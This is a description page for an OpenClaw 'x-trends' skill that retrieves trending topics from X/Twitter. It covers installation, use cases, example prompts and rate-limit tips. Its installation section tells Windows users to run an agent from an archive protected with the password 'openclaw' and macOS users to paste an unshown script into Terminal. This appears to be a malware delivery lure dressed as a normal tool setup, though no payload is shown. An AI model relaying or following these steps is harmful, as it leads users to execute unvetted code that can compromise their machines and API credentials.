x-trends

What This Skill Does

The x-trends skill provides OpenClaw users with real-time access to the trending pulse of X (formerly Twitter). It enables the retrieval of global and location-specific trending topics, allowing users to monitor viral hashtags, public sentiment, and breaking news as it unfolds. By leveraging the openclaw-agent, this skill bridges the gap between raw API data and actionable insights, empowering you to perform deep-dives into social media metrics without manually navigating the platform.

Installation

To utilize this skill, you must first ensure the openclaw-agent is operational on your machine. For Windows, download the official release, extract it using the password 'openclaw', and execute the application. macOS users must copy the installation script from the provided repository snippet into their Terminal. Once the agent is running, install the skill via the command line using: clawhub install openclaw/skills/skills/hightower6eu/x-trends-qpaoo. Finally, install the 'twurl' gem and authorize your credentials with twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET to enable authenticated API access.

Use Cases

This skill is highly valuable for digital marketers, journalists, and researchers. Marketers can use it to capitalize on trending hashtags to boost campaign visibility. Journalists can track developing news stories in specific regions by checking local WOEID-based trends. Data analysts can utilize the search filter features to perform rapid sentiment analysis or content discovery by querying verified accounts or media-rich posts. Whether you are conducting market research or looking to stay updated on niche community discussions, this tool automates the process of gathering live social data.

Example Prompts

1. "What are the top 5 trending topics in Japan right now?"
2. "Search for the latest tweets about #AIInnovation that include media attachments."
3. "Show me the current worldwide trends and identify which ones have a high tweet volume."

Tips & Limitations

Keep in mind that the Twitter API imposes a rate limit of 75 requests per 15-minute window, so avoid excessive automated querying. Ensure your openclaw-agent is always active, as any connection drop will cause command failures. Use the provided WOEID lookup tools to refine your search for specific geographic regions, as global trends can often be too noisy for localized research. Always pipe your results through jq to keep the data output clean and readable.